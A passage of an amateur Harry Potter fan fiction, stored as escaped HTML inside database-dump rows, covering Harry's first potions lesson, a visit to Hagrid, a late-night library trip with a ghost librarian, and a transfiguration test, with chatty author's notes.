Hagrid\'s hair was wild and bushy, Snape\'s was perfectly straight and VERY greasy.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' You\nare here to learn the subtle science and exact art of potion making,\' he began.\nHe spoke in barely more than a whisper, but they caught every word- like\nMcGonagall, Snape had the gift of keeping the class\nsilent without effort. \' As there is little foolish\nwand-waving here, many of you will hardly believe this is magic. I don\'t expect\nyou will really understand the beauty of the softly simmering cauldron with it\'s shimmering fumes, the delicate power of liquids that\ncreep through human veins, bewitching the mind, ensnaring the senses... I can\nteach you how to bottle fame, brew glory, even stopper death- IF you aren\'t as\nbig a bunch of dunderheads as I usually have to teach.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Silence followed this little\nspeech. Ron and Harry exchanged looks and Hermione was on the edge of her seat\nand looked desperate to start proving that she wasn\'t a dunderhead.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Potter!\'\nsaid Snape suddenly. \' What\nwould I get if I added powdered root of asphodel to a solution of wormwood?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">A SOLUTION of\nwormwood? Harry thought. He couldn\'t figure out why you would want to\nadd the two together since it just made hydrochloric acid.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' You\nwould get hydrochloric acid, which would dissolve a pewter cauldron pretty\nfast.\' Harry answered ignoring Hermione\'s look of shock as she stopped waving\nher hand in the air.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Snape\'s\nlips curled into a sneer again. \' Tut,\ntut- fame clearly isn\'t everything. For your\ninformation, Potter, root of asphodel and an infusion of wormwood make a\nsleeping potion so powerful it is known as the Draught of Living Death.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">At this Hermione stopped looking\nat Harry and blurted out \' But, Professor, you asked what you would get if you\nused a SOLUTION of wormwood.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For a moment, Snape\'s\neyes widened and he looked taken aback. He regained his composure a moment\nlater and growled \' Well at least SOMEone\nis paying attention.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">He then turned to the other side\nof the class and berated Seamus Finnigan for not\nhaving his robes done up properly.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For the rest of the lesson, Snape seemed to think that he had to make up for his first\nmistake. It looked like he thought that by constantly harassing Harry would be\nthe best way to do this. Unfortunately (for Snape),\nbetween Harry and Hermione, there wasn\'t a thing that Snape\ncould criticize about the potion he had assigned for the class to make. This,\nof course, did nothing for his mood and by the time the class was over he\nlooked about ready to attack Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">On the other hand Harry looked\nperfectly content to listen to Snape as little as was\nallowed by manners and ignored him otherwise. Of course Harry\'s lack of\nreaction only served to further frustrate Snape, who\ncouldn\'t do anything until Harry made a mistake, which he didn\'t.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">At the end of the lesson Neville\nwas thanking Hermione for all the help she had given him and Ron was able to\ntolerate her. After all, she had saved him from having Neville\'s potion all\nover his robes when Neville had almost knocked the cauldron over when he bent\ndown to pick up his quill he had dropped.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hermione and Neville walked with\nthem out of the class after they were dismissed, but Ron and Harry left them at\nthe Great Hall and headed out to Hagrid\'s hut while\nNeville and Hermione stayed in the Hall to have lunch.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' All\nright! We\'ve got the rest of the day off and then the weekend!\' Ron said as he\nand Harry walked out the door of Hogwarts.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hagrid\nhad a small log cabin near the edge of the woods. Or at least it was a small\ncabin relative to the size of its occupant. The doorway was about nine or ten\nfeet high and the logs that had been used wouldn\'t have looked out of place\nstanding upright next to a redwood. Everything about the house was on a similar\nscale except for the knocker, which looked out of place, only halfway up the\ndoor, but Ron and Harry wouldn\'t have been able to reach it if it had been\nwhere it was supposed to.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- Don&#8217;t have much to say&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(17, 14, ' <p>AN- Well the next chapter is here... I think something is wrong with me. My writing ability (assuming I had any to begin with) has been slowly fading lately. So has my creativity...WAH! I don\'t like this! Well, complaining won\'t help and writing more might not either, but at least writing is somewhat productive, and (hopefully) entertaining for you, my audience....*Shades is greeted by Total Silence as a tumble weed rolls by*</p>\n\n<p>*Ahem* Anywho, back to things that might actually matter.</p>\n\n<p>IMPORTANT:</p>\n\n<p>From now on, anything inside these things &lt; &gt;, is what someone is thinking.</p>\n\n<p>Bye!</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Hagrid had a small log cabin near the edge of the woods. Or at least it was a small cabin relative to the size of its occupant. The doorway was about nine or ten feet high and the logs that had been used wouldn\'t have looked out of place standing upright next to a redwood. Everything about the house was on a similar scale except for the knocker, which looked out of place only halfway up the door. Ron and Harry wouldn\'t have been able to reach it if it had been where it was supposed to.</p>\n\n<p>With a bit of effort (the knocker may have been at the height of a normal one but it\'s size was still proportionate to the rest of the cabin), Ron was able to lift the knocker and drop it, making a noise like a small bomb going off.</p>\n\n<p>Ron and Harry could hear a dog barking and scratching at the door and a moment later the door opened a crack and Hagrid\'s face looked out.</p>\n\n<p>\' Ah, Harry!\' Hagrid grinned. \' Gimmie a moment and I\'ll be right there.\'</p>\n\n<p>He closed the door and Ron and Harry heard sounds of a struggle before Hagrid opened the door wide and let them in. He was holding back an EXTREMELY large black boarhound, which seemed desperate to reach the two strangers. Ron looked rather pale as he took in the size of the dog.</p>\n\n<p>Hagrid must have seen the look on Ron\'s face as he turned to shut the door, still holding onto the dog.</p>\n\n<p>\' Don\' worry about ol\' Fang here. He\'s mostly all bark.\' Hagrid reassured the two. Unfortunately, Hagrid\'s way of reassuring them of their safety was to let go of the dog\'s collar.</p>\n\n<p>Ron took a quick step back as he saw Hagrid let go of the dog, and it was a good thing that he did. If he hadn\'t he might have ended up with the dog standing on top of him. As soon as Hagrid had let go of the collar, Fang had leaped at Ron\'s chest. As it was Ron was pushed against the wall and looked like he was about to scream until Fang started trying to lick his face.</p>\n\n<p>\' Oh! Uhg, geroff!\' Ron cried out, looking thoroughly disgusted with his predicament.</p>\n\n<p>\' Fang! Down!\' Hagrid snapped at the dog.</p>\n\n<p>Through the whole event Harry\'s face hadn\'t even twitched, but he was having a hell of a time keeping his laughter in. Harry didn\'t think he could have kept from laughing if he hadn\'t known how easily Ron would have been offended or gotten angry.</p>\n\n<p>\' Huh.\' Hagrid grunted, looking puzzled. \' Fang doesn\'t usually take ter anyone right away. He must really like you!\'</p>\n\n<p>Remembering that Hagrid and Ron hadn\'t met each other yet, Harry stepped forward and introduced the two.</p>\n\n<p>\' Hagrid, this is Ron Weasley. Ron, this is Rubeus Hagrid.\' Harry said as Hagrid tried not to pull Ron\'s arm off as they shook hands. \' You don\'t mind that I brought Ron along do you, Hagrid?\'</p>\n\n<p>\' \'Course not, Harry. A friend of yours is a friend of mine.\' Hagrid beamed. It seemed to Harry that Fang\'s reaction to Ron had made a good impression on Hagrid, and Ron looked grateful to Hagrid for removing Fang\'s tongue from his face and handing him a towel.</p>\n\n<p>\' So how was the first week at Hogwarts you two?\'</p>\n\n<p>Almost before Hagrid had finished his question Ron leaped into an explanation of their classes and how hard they were, with Harry filling in gaps and giving his own opinions of the Professors.</p>\n\n<p>As Hagrid and Ron were talking about Ron\'s brother Charlie, who was now working with dragons, Harry noticed a clipping from the Daily Prophet.</p>\n\n<p>GRINGOTTS BREAK-IN LATEST</p>\n\n<p>Investigations continue into the break-in at Gringotts on 31 July, widely believed to be the work of Dark wizards or witches unknown.</p>\n\n<p>Gringotts\' goblins today insisted that nothing had been taken. The vault that had been searched had in fact been emptied the same day.</p>\n\n<p>\' Hagrid!\' Harry exclaimed. \' That Gringotts break-in happened on my birthday! It might have been happening while we were there!\'</p>\n\n<p>Hagrid only grunted, not meeting Harry\'s eyes, and offered him another rock cake (which were aptly named considering Hagrid\'s cooking ability).</p>\n\n<p>Harry frowned, wondering why Hagrid had avoided looking Harry in the eyes, or at least the glasses. He re-read the article as Hagrid and Ron resumed their conversation about how to deal with muggles and dragons.</p>\n\n<p>The article had said that the vault that was searched had been emptied earlier that day. Hagrid had, in a sense, emptied the vault when he had removed the dirty looking package. He wondered if the thieves had been after whatever had been in the package.</p>\n\n<p>As Ron and Harry walked back up to the castle, for dinner, they skipped the rock cakes that they had hidden in their pockets, across the lake. Harry wanted to believe that he was being silly thinking so hard about a tiny package like that, but silly or not Harry just couldn\'t get the thought out of his head that Hagrid had been acting odd about it.</p>\n\n<p>After dinner, Ron and Harry returned to their common room to find the majority of the first year Gryffindor student body clustered around a piece of parchment that had been tagged up on the bulletin board.</p>\n\n<p>Until Ron and Harry read the paper, they had been thankful that they had very few classes with the Slytherins. At first sight of the paper Ron had grinned.</p>\n\n<p>\' All right! Flying lessons! - Not that I really need them of course.\'</p>\n\n<p>\' Of course you don\'t Ron, but you might want to finish reading before you cheer.\' Harry commented dryly. \' We\'re partnered with the Slytherins.\'</p>\n\n<p>\' What?!\' Ron yelped, whipping around to read the rest of the notice, then groaning when he saw that it was true. \' Well this aught to be fun.\' he concluded, his voice dripping with sarcasm.</p>\n\n<p>Ron was certainly not looking forward to Thursday, when the flying lessons would be held. Harry on the other hand showed some enthusiasm, which meant he was extremely excited as he tended to show only a little of what he felt (yet another effect of having been raised by pigs- I mean the Dursleys! [AN- Sorry all pigs. I didn\'t mean to offend.]).</p>\n\n<p>Of course, when a person is looking forward to something, time tends to crawl by for them. Harry was no exception. By the time Wednesday evening rolled around, Harry had taken to bouncing his knees up and down under the table when he did homework. Although Ron hadn\'t known Harry very LONG, he certainly knew Harry quite well. Ron knew that if Harry was so anxious he was bouncing his knees, then most people, in the same situation, would be wearing a hole in the floor as they paced back and forth.</p>\n\n<p>\' Harry! Simmer!\' Ron finally snapped in exasperation, after Harry melted the third needle in a row while the two were brushing up for a practical transfiguration quiz the next day.</p>\n\n<p>\' I know you\'re looking forward to the flying lessons tomorrow, but failing the trans quiz tomorrow won\'t get you on a broom any sooner. I don\'t understand how the idea of learning to fly a broom can be getting to you so much. I mean, it\'ll be your first time, right?\'</p>\n\n<p>Harry nodded.</p>\n\n<p>\' Well then it probably won\'t be much fun on the first day. For the most part, people have to spend a whole day just getting the broom to float if it\'s their first time.\' Ron told Harry. \' You KNOW Malfoy\'ll make fun of you if you can\'t make the broom float, even if it IS your first time.\'</p>\n\n<p>\' Think about it Ron. This will be my first time ever flying.\' Harry said with a light in his eyes that betrayed his calm expression and tone. \' It isn\'t that big a deal to you because you\'ve been able to do it all your life, but can you imagine how a person that was born crippled, would feel if they were suddenly told that they would be able to walk?\'</p>\n\n<p>\' Hmmm, I guess so, but aren\'t you being a LITTLE melodramatic?\'</p>\n\n<p>\' Heh. Probably.\' Harry said with a hint of a grin.</p>\n\n<p>\' Well whatever. We\'ve gotta concentrate on learning to reverse our transfigurations now, otherwise we\'ll be too busy making up for failing the quiz to learn to fly.\' Ron said with exasperation again. \' Besides, you can\'t go to the library and read &quot;Quidditch Through The Ages&quot; until we\'ve got the reversal down pat.\' Ron finished, sounding rather sneaky.</p>\n\n<p>THAT seemed to get through Harry. He closed his eyes for a moment, and concentrated on his breathing. Then, with a flick of his wand, Harry turned his five silver needles back into the matches they started out as. After getting Ron to close his mouth, which had been hanging open, Harry showed him how to hold his wand properly to get the right wand motions, and after Ron was able to turn all of his needles back into matches.</p>\n\n<p>\' So just remember to keep your index finger in that position and you shouldn\'t have any trouble. Now I\'m going to the library. I know I can\'t learn to fly from a book, but maybe I can learn enough to keep from making a fool of myself tomorrow.\' Harry said as he got up and went out the portrait hole.</p>\n\n<p>Ron was going to challenge one of the fifth years to a game of chess; beating Harry in every game just wasn\'t enough of a match, he had said. After he won the game (in theory) he was going to go to bed early, complaining that all the studying was tiring him out. So Harry left to make his way to the library by himself. It was the first time that he had gone wandering in the halls after curfew without Ron.</p>\n\n<p>Fortunately Harry could remember almost all of the secret passages that the twins had shown Ron and him, so he was able to avoid being caught by Filch and Mrs. Norris. Whenever he thought he heard one of them coming he quickly ducked into the nearest secret passage and was a few corridors away before whomever he happened to hear went past where he had been the moment before. Unfortunately, for Harry, Peeves wasn\'t hindered by mere walls, so Harry had to rely on his hearing Peeves coming in time for him to hide. By the time Harry finally made it to the library he was breathing slightly hard and he heaved a sigh of relief. There had been some close calls with Peeves, but Harry had managed to make it to the library without being caught.</p>\n\n<p>Harry walked quietly up to the doors leading into the library. He tried the handle, but it was locked. He had been expecting as much of course, but he had remembered a fairly simple unlocking charm that he had read about during the summer, and had practiced it earlier in the day.</p>\n\n<p>\' Alohomora.\' Harry said softly.</p>\n\n<p>As soon as he said the spell, the handle on the door clicked and the door started to swing open. Unfortunately it started to make a horrible screeching sound as if the hinges were complaining about being used after curfew.</p>\n\n<p>Panicking, Harry gasped and said the first thing that came to mind. \' Quietus!\'</p>\n\n<p>Harry slapped his forehead, amazed at his own stupidity.</p>\n\n<p>&lt;Did I honestly expect the door to stop squeaking because I told it to be quiet?&gt; Harry thought to himself before he realized that that was exactly what had happened. &lt;Well that\'s new.&gt; Harry thought. &lt;I\'ll have to look that up when I\'m finished looking for Quidditch books.&gt;</p>\n\n<p>The door had swung open halfway, so Harry slipped through and pulled it shut carefully behind him. He half expected it to start squeaking again, but it didn\'t. In fact Harry didn\'t even hear it click when he locked it again from the inside. He didn\'t want Filch to find the door unlocked and decide to investigate.</p>\n\n<p>As carefully as Harry walked, he didn\'t know the layout of the library very well so he bumped into several shelves before getting fed up enough to risk using his wand to light his way.</p>\n\n<p>\' Lumos.\' Harry muttered, and the tip of his wand blazed. Unfortunately, the light was much too bright. \' Nox!\' he whispered hastily.</p>\n\n<p>Harry had been rather tense after the surprise at the door, and had been expecting Filch to burst in at any moment. He calmed himself down by counting four beats of his heart for every breath. Once his heart was beating at it\'s normal pace, he tried again.</p>\n\n<p>\' Lumos.\' he hissed, this time focusing on making just a small light. It worked this time and his wand emitted a soft white glow.</p>\n\n<p>While he had been doing this Harry had been looking down at his wand, so when he looked up into the pale, transparent face of Lady Scrive, he swung his fist straight at her nose in an instinctive reaction to being surprised while he was so tense. She was the ghost of the first Hogwarts librarian, so fortunately the reflex did nothing but surprise her.</p>\n\n<p>Harry had met her during his first few days at Hogwarts, and after she learned how much he enjoyed reading, they had become good friends. Harry hoped she was feeling friendly enough towards him at the moment to forgive his reaction and refrain from reporting him to Filch.</p>\n\n<p>Lady Scrive didn\'t look very angry, or even annoyed. She only looked shocked for a moment, and then her look turned to puzzlement.</p>\n\n<p>\' Is something wrong, Harry?\' she asked looking at once both concerned and puzzled by his behaviour. \' Don\'t worry.\' She said, correctly interpreting the look on Harry\'s face. \' I know you didn\'t mean to do that, but IS there something wrong? This is the first time you\'ve so much as flinched when I\'ve surprised you.\'</p>\n\n<p>Harry breathed a sigh of relief. She didn\'t seem to be about to hand Harry over to Filch.</p>\n\n<p>\' Well, yes- but then, this is also the first time I\'ve come here after curfew.\'</p>\n\n<p>\' Ah yes. CURfew.\' the Lady spat in an exasperated tone. \' I keep meaning to talk to Albus about that. I\'m sure it\'s very necessary and all, but I think that, in the case of students requiring the use of the library, there should be a little lenience. Don\'t you think so, Harry? I take it that the curfew is the reason you are suddenly so jumpy?\'</p>\n\n<p>\' Yes, it is. And I do agree. About the curfew I mean, but I think that the headmaster would worry about students wandering the halls and simply saying that they were headed to the library as an excuse if they were caught.\'</p>\n\n<p>\' I suppose so. In my day a headmaster wouldn\'t have to worry about that type of thing...\' she started, then her cheeks turned a bit silvery, which Harry assumed was a ghost\'s way of blushing. \'...but then I\'m sure I\'ve bored you with the whole \' we respected our elders in our day\' speech, plenty of times before. If only more students were like you Harry.\' she said with an edge to her voice that conveyed some disappointment with the present generation of students.</p>\n\n<p>Now it was Harry\'s turn to blush, although his expression had returned to its usual mask, through which few emotions were allowed to escape. Fortunately the Lady continued before Harry started trying to stammer his thanks (he had never had much experience with compliments so they tended to catch him off guard).</p>\n\n<p>\' Well I know you well enough to know that you didn\'t simply come here for a social visit, as much as I would enjoy that. What are you researching today? Or rather tonight?\' the Lady asked, her expression changing from a friendly one to a business like one.</p>\n\n<p>That was one of the things that Harry liked so much about the Lady. Once she got to work, she was all business. Harry was a little nervous to ask about Quiditch, since he thought she might not be too happy about anything that took a student\'s attention away from studies.</p>\n\n<p>\' Well, of course you know that the Gryffindors and Slytherins have never *really* umm- seen eye to eye?\' Harry ventured.</p>\n\n<p>The Lady had a light of understanding in her eyes. \' You may not know this, Harry, but I actually *do* know what goes on outside of the library.\' Harry blushed again, having been thinking that she probably didn\'t. \' So I know about the flying lessons that you have with the Slytherins tomorrow. I suppose that you think I\'ll disapprove of you looking up books on flying because I might disapprove of Quiditch?\'</p>\n\n<p>Harry nodded his head, not meeting her eyes. Again she seemed to know exactly what he was thinking. Ghosts couldn\'t read minds Harry knew, since their minds were on a different sort of plane than that of wizards, but the Lady often did a pretty good job of appearing to read the minds of the other students. That she was now doing the same with Harry unnerved him to no end. He *hated* being predictable. He had learned in school that being predictable meant that Dudley and his gang would know where to find you and what you might do to get out of a situation, which would have meant a lot more pain for Harry.</p>\n\n<p>\' Well I know you are in Gryffindor, and I know that Malfoy will undoubtedly take great delight in verbally abusing you if you happen to make any mistakes at your flying lessons tomorrow. So in order to avoid him becoming any more obnoxious than he already is I will help you find whatever books might be useful. However, I want you to understand that I\'m helping you for two reasons only. One- because I know that you are a good person who would not do the same as Malfoy in his situation and you are my friend. Two- because the Slytherins have become quite conceited over the years since I was in that house.\' the Lady explained.</p>\n\n<p>For once, surprise showed on Harry\'s face. \' You- you were in Slytherin?\' Harry asked, incredulous.</p>\n\n<p>\' Is it so hard to believe? One of the first reasons that you came to my attention was that I have never seen you judge someone by whatever rumours you hear about them. Even your apparent dislike of you-know-who stems from fact. Contrary to popular belief, Slytherins were not always considered evil in any way at all.\' she said. \' In fact, although Salazar and Godric had vastly different views on what made a good wizard, they were quite good friends. Much like you and Mr. Ron Weasley.\'</p>\n\n<p>\' Hmm. I suppose I *was* starting to let other people\'s opinions guide my own. Sorry if I\'ve offended you.\' Harry said apologetically. \' So do you think that there\'s any way that I could learn enough from books to keep from looking like a fool tomorrow?\'</p>\n\n<p>The Lady laughed lightly and said \' Harry, I think that you would have to work very hard indeed in order to look like a fool. (Harry almost blushed again at this) But whether or not you learn enough to keep people like *Malfoy* from making fun of you is another question all together.\'</p>\n\n<p>Harry and the Lady spent a good hour going around the library looking for books that might be helpful to Harry, and then another three or four hours after that reading the books and using a table Harry transfigured into a broomstick to learn the correct grip (the broom was a regular one and couldn\'t fly).</p>\n\n<p>Harry didn\'t know when he fell asleep, but he suddenly woke to a terrible chill in his head. He had fallen asleep on \' Quiditch Through The Ages\' and Lady Scrive had placed her hand on- or rather *in* Harry\'s head to wake him. It was still dark in the library, but a glance at the moon through the window told Harry that he had better get back to his bed soon or else he wouldn\'t be much good for anything at all the next day.</p>\n\n<p>Harry replaced all of the books, with some help from Lady Scrive to find the proper places, and then headed back to his common room, after saying thanks to the Lady.</p>\n\n<p>As tired as he was Harry forgot to be as cautious as he should have, and it almost proved to be his undoing. He never ran into Filch, but he did meet up with Peeves.</p>\n\n<p>He was shuffling down the charms corridor when Peeves popped out of a Professor\'s office cackling wildly, until he spotted Harry.</p>\n\n<p>\' Well now. What have we here?\' Peeves chuckled. \' Ohhh. Now isn\'t *this* a treat for ol\' Peevsies? None other than the *famous* Harry Potter!\'</p>\n\n<p>Harry knew that if Peeves were to call Filch, Harry would never be allowed to go to the flying lessons the next day. He tried to think if he had seen that Peeves had any weaknesses, like vampires and garlic, but he didn\'t come up with anything but the Bloody Baron, who Harry hadn\'t seen since he got to the library so that was no good... or *was* it? Thinking quickly, Harry came up with a desperate plan.</p>\n\n<p>\' Quick Peeves! You\'d better make yourself scarce. I saw the Bloody baron and he was heading this way!\' Harry said widening his eyes and speaking in a harsh whisper. \' I\'ll stay here and wait.\'</p>\n\n<p>Peeves\' manner changed quickly from nasty to a little frightened, but a bit suspicious at the same time.</p>\n\n<p>\' And why would *you*, a student, want to help me?\' Peeves asked with narrowed eyes.</p>\n\n<p>\' Well, \' Harry started, trying to think something up as fast as he could. \' Your pranks are always funny and help me forget about people like *Snape*.\'</p>\n\n<p>All of this was true. Okay, so Harry had seen the Baron when Harry was heading *to* the library in the first place, but it was still true.</p>\n\n<p>Peeves though about it for a moment, then did something Harry had never thought to see him do. He *thanked* Harry. And was quite polite about it as well.</p>\n\n<p>Harry stood in the corridor for a moment after Peeves had left thinking about what had just happened. Most of the Gryffindors, as well as Harry, had thought that Peeves, and all other poltergeists were unable to be anything but pranksters. If Peeves was capable of thanking Harry, then perhaps he would be able to be more than just an annoyance. Perhaps even a friend.</p>\n\n<p>&lt;Well, &gt; Harry thought. &lt;Let\'s not take this \'benefit of the doubt\' thing *too* far.&gt;</p>\n\n<p>After waiting a short while like he had said he would, Harry went on to his common room, climbed through the portrait hole and went up to his bed falling asleep almost before his head hit his pillow. For once he was able to ignore what he considered, excessive softness.</p>\n\n<p>Harry woke up instinctively the next morning when he felt someone standing over him. He tried to keep his breathing slow and normal as he opened his eyes a bit. He took note of where everything was. Ron was still in bed and so was Neville, but Seamus Finnigan was standing over him while Dean and several others watched. Seamus had a bucket in his hands and was tipping it over top of Harry. Harry snapped his eyes open and sat up in order to avoid the water, but his sudden movement had startled Seamus who hopped back, causing most of the water to spill over his own robes.</p>\n\n<p>\' Man, so do you guys ever give up?\' Harry asked looking around at the group of laughing students. Even Seamus was laughing at himself, and as infectious as the laughter was, Harry soon found himself grinning while all the others laughed.</p>\n\n<p>\' Well, \' Seamus started, still chuckling slightly and ringing out his robes. \' we know you always put that sound alarm on your bed that you got Flitwick to teach you, so we developed a way to detect it. We noticed this morning that it wasn\'t there, and since Ron wasn\'t awake to warn you... well it *looked* like the perfect opportunity to finally get you.\'</p>\n\n<p>\' Tell me again why you think that you need to catch me off guard and pull some prank on me?\' Harry asked still shaking his head and smiling a bit.</p>\n\n<p>\' Well since Fred and George tried to get you once and failed, we figured that if *we* could get you, then we\'d be one step closer to being good as them.\' Dean explained.</p>\n\n<p>At this point, Ron, who had been listening since they all started to laugh, snorted derisively. \' You *do know* that there is *no* way you can ever match my brothers don\'t you?\' he said. \' And besides, they only tried to get Harry once, because they had run out of anyone else to prank. *They* could probably get him if they really wanted to. No offence Harry.\'</p>\n\n<p>\' None taken, of course.\' Harry replied. He then headed to the boys\' washrooms to get ready for the day.</p>\n\n<p>Ron had a difficult job of keeping Harry under control all day as Harry was quite excited about learning to fly. He was still worried about looking like an idiot of course, but the prospect of learning to fly was simply too much for Harry to think about it *and* worry about how he might look. He was so happy about it that he almost started laughing out loud with the rest of the class at the rude picture Peeves had drawn of Prof. Snape on a wall in the Great Hall, and Harry was widely known for his lack of expression. People loved to say that, if he were ever hit by a tickling charm, he\'d probably just smile and continue on as if nothing had happened. No one ever tried to test the theory though; they were still not used to &quot;The-Boy-Who-Lived&quot; telling them to treat him like an average person.</p>\n\n<p>It certainly didn\'t help matters that Harry was most clearly *not* an average person. Aside from having survived the killing curse, and aside from everything that went along with it, Harry was quite unique in the school. Besides his lack of expression, Harry was the only person at school that had mirror-plated glasses. The Dursleys had bought them for Harry so that teachers would stop commenting on all his black eyes (the black eyes were courtesy of Dudley, but Vernon and Petunia pretended not to know this). At first Harry hadn\'t liked them, but he had grown used to them, and then had grown to love the fact that they hid his eyes. Harry had always believed that your eyes gave away too much of what you were thinking, and having his eyes hidden had helped him avoid many punishments at the Dursleys. It seemed that not being able to see a person\'s eye put the other person off balance.</p>\n\n<p>Ron found it odd though, that Hermione was the only one that was able to stop Harry from bouncing around and talking non-stop about flying and Quiditch (it even got so bad that RON didn\'t want to hear anymore about Quiditch for at least a day). All Hermione had done to calm Harry down was to tell him that his incessant tapping was keeping her from focusing on her potion.</p>\n\n<p>After potions class, Ron asked him about this, but Harry had no idea why Hermione\'s words had affected him so much more than Ron\'s. He only knew that one moment he was perfectly fine, if a bit over-excited, and the next moment he felt a little sick. Ron had been a bit hurt that Harry had appeared to listen more to Hermione, who Ron still didn\'t get on with too well, than to Ron who was Harry\'s best friend.</p>\n\n<p>After the first potions class, when Ron had actually seemed to tolerate Hermione, Harry had thought that things would start to improve. He was *quite* wrong. The way Hermione had acted towards Ron, and vice versa, during the first potions class, seemed to have been a one-time thing. Both seemed to be unusually hostile towards each other. Harry often found himself acting as mediator, and by the end of the second potions class, Neville had started working with Harry to keep the two from killing each other, showing much more confidence than usual from him.</p>\n\n<p>(AN- In case anyone noticed that Harry\'s potions class has moved in its schedule, it\'s because their classes aren\'t in the same order every week. I don\'t think that it really goes against the books, but even if it does... SO WHAT?!! My whole story goes against the books!)</p>\n\n<p>As potions class ended and the Gryffindors left on their separate ways for transfiguration, Ron and Hermione shot each other glares, and Ron turned away. Then Hermione smiled a little uncertainly at Harry. Almost as though she wanted to apologise for the way she had been treating Harry\'s best friend. Then she turned and was gone through a stairway hidden behind a suit of armour.</p>\n\n<p>As she left Harry felt a strange twist in his stomach and felt a bit short of breath. Figuring that he must be hungry, he asked Ron if he knew where the kitchen was.</p>\n\n<p>Rolling his eyes Ron said \' Maybe you\'ll listen to me next time I tell you to eat more at breakfast. And that you\'re excited about learning to fly is NOT an excuse to miss most of breakfast!\' Ron finished, adding the last part as Harry opened his mouth to protest. \' Besides which, I have no idea where the kitchens are and even if I did, we don\'t have time. We have to get to class and practise for the test today.\'</p>\n\n<p>At this, Harry let his mouth hang open in fake shock. \' Who are you and what have you done with Ron?\' he finally asked. \' I mean was it just me, or did *the* RON WEASLEY, just say that we needed to STUDY?!!!\'</p>\n\n<p>Ron grinned and scratched the back of his head. ^_^ \' Well- only because it\'s a *practical* test!\' he said defensively.</p>\n\n<p>\' Well maybe *you* need to study, but I just need some food.\' Harry muttered. The feeling in his stomach was starting to subside though, so he and Ron left for the transfiguration classroom, once again arriving before anyone but Hermione.</p>\n\n<p>For once, though, Hermione *didn\'t* have her head in a book when Ron and Harry arrived. Instead, she had her wand out, and was waving it at several toothpicks. A moment later the toothpicks turned into egg shaped balls made of metal with a wood-like grain. Hermione huffed in annoyance, but Ron only snorted derisively when he noticed her problem and then did a double take.</p>\n\n<p>\' Hey, what d\'ya know!\' Ron whispered to Harry. \' For once she\'s doing something *totally* wrong!\'</p>\n\n<p>Harry raised one eyebrow, in puzzlement, at Ron.</p>\n\n<p>\' Well she\'s not even practicing the right stuff.\' Ron explained in response.</p>\n\n<p>\' Ron, do you honestly think that she *needs* to practise the stuff that\'s on our test?\' Harry asked dryly. \' She *is* one of the top students in Transfiguration, as well as our entire year.\'</p>\n\n<p>\' I know.\' Ron moped. \' But doesn\'t it annoy you that she doesn\'t even seem to have time for anybody. I mean, all she ever does is read and study and do homework. She acts like no one is good enough for her to interupt her reading for.\'</p>\n\n<p>Ron and Harry were sitting at their desk by this time and Ron was getting out some matchsticks to practise on while he was talking. Harry, however, noticed Hermione\'s shoulders had become stiff.</p>\n\n<p>&lt;She must have heard Ron.&gt; Harry thought, and felt bad for her. \' Well have you ever tried talking to her when she\'s *not* reading? Then you wouldn\'t *be* interupting her. And for that matter, have you ever tried talking *civilly* to her?\'</p>\n\n<p>Ron blushed and got defensive. \' Well you *can\'t* talk to her when she isn\'t reading; she\'s *ALWAYS* reading!\'</p>\n\n<p>\' She\'s not right now, and don\'t tell me you don\'t want to interupt her preparations for the test because we both know she\'s just practising next week\'s work (AN- Next week\'s work= changing the shape and texture of things still, but more drastically). So why don\'t you talk to her right now, if it\'s so important?\'</p>\n\n<p>Ron looked a little taken aback for a moment, bofore replying, with a furrowed brow. \' Well I guess it\'s not really that important. I don\'t know why I let it bother me. I guess I just feel sorry for her.\'</p>\n\n<p>Harry was rather impressed with his friend. It was the first time that he had actually *expressed* a care about someone\'s feelings, other than Harry, who he was rather protective of. (AN- Sorry Nappa, I just don\'t seem to do any Ron bashing.)</p>\n\n<p>\' Well she doesn\'t seem to mind not talking to people, as long as she\'s got a book, so I don\'t think that you really need to feel sorry for her.\' Harry said. He noticed that Hermione\'s shoulders relaxed after he said this. Somehow though, knowing that he had made Hermione feel better, made Harry\'s stomach twist again. &lt;Damn! I should have gone to the kitchens after all.&gt; Harry thought, smiling ruefully at Ron\'s previous inststance that they practise before the test.</p>\n\n<p>Harry and Ron spent a while studying each other&#8217;s performance and giving each other some helpful advice. Or rather Harry gave Ron advice then Ron watched Harry to see how to do the spell *properly*. A few minutes later, after the rest of the class, and Professor McGonagall, had arrived, Ron was feeling confidant that he would pass the test, and was also feeling quite impressed with Harry. Harry had been able to answer every question that Ron had about the material to be covered in the test; he had also done every single transfiguration perfectly, as long as he kept his mind off the flying lessons that were fast approaching.</p>\n\n<p>Harry on the other hand was not feeling so good. He wouldn\'t normally have been worried about the test, but today he was having trouble concentrating. He couldn\'t even calm himself down through meditation. He attributed this to the flying lessons, as he kept finding himself staring at the window, which Hermione sat in front of.</p>\n\n<p>Ron and Harry didn\'t need to worry. It turned out that all they had to do for the test was to turn a twig into a match and back, then into a needle and back. Everyone did quite well. Even Neville was able to get as far as 